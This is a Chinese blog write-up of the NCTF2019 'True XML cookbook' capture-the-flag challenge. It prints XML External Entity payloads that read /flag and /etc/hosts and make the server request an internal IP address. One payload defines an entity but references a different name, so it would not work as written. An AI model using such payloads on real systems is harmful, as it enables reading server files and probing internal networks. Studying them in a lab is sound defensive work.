[NCTF2019]True XML cookbook

最新推荐文章于 2023-12-09 13:08:54 发布

imbia

最新推荐文章于 2023-12-09 13:08:54 发布

阅读量440

点赞数

CC 4.0 BY-SA版权

分类专栏：安全 CTF WEB安全文章标签：安全

本文链接：https://blog.youkuaiyun.com/satasun/article/details/109706693

安全同时被 3 个专栏收录

49 篇文章

订阅专栏

CTF

40 篇文章

订阅专栏

WEB安全

38 篇文章

订阅专栏

本文介绍了在[NCTF2019]TrueXMLcookbook挑战中，如何利用XML External Entity (XXE)漏洞进行内网探测和密码爆破的尝试。作者首先尝试直接爆破密码，然后利用XXE漏洞读取本地文件以探测内网存活主机，最后通过修改实体地址尝试攻击内网IP。虽然未能直接获取密码，但展示了XXE漏洞的攻击手段和思路。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[NCTF2019]True XML cookbook

爆破

抓包爆破，想直接爆出密码。
然鹅我天真了。

XXE漏洞

这里存在XXE漏洞，利用脚本直接打：
构造：

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
  <username>&admin;</username>
  <password>password</password>
</user>

在这里插入图片描述

没有哦·····

打内网

XXE漏洞可以直接攻击内网用户，先查看内网存活主机：

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///etc/hosts">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

在这里插入图片描述
看到了本机ip，但是不知道存活ip。
可以用BP爆破（但是看到wp上是说ip最后一位为11）：

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "http://10.34.239.11">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

在这里插入图片描述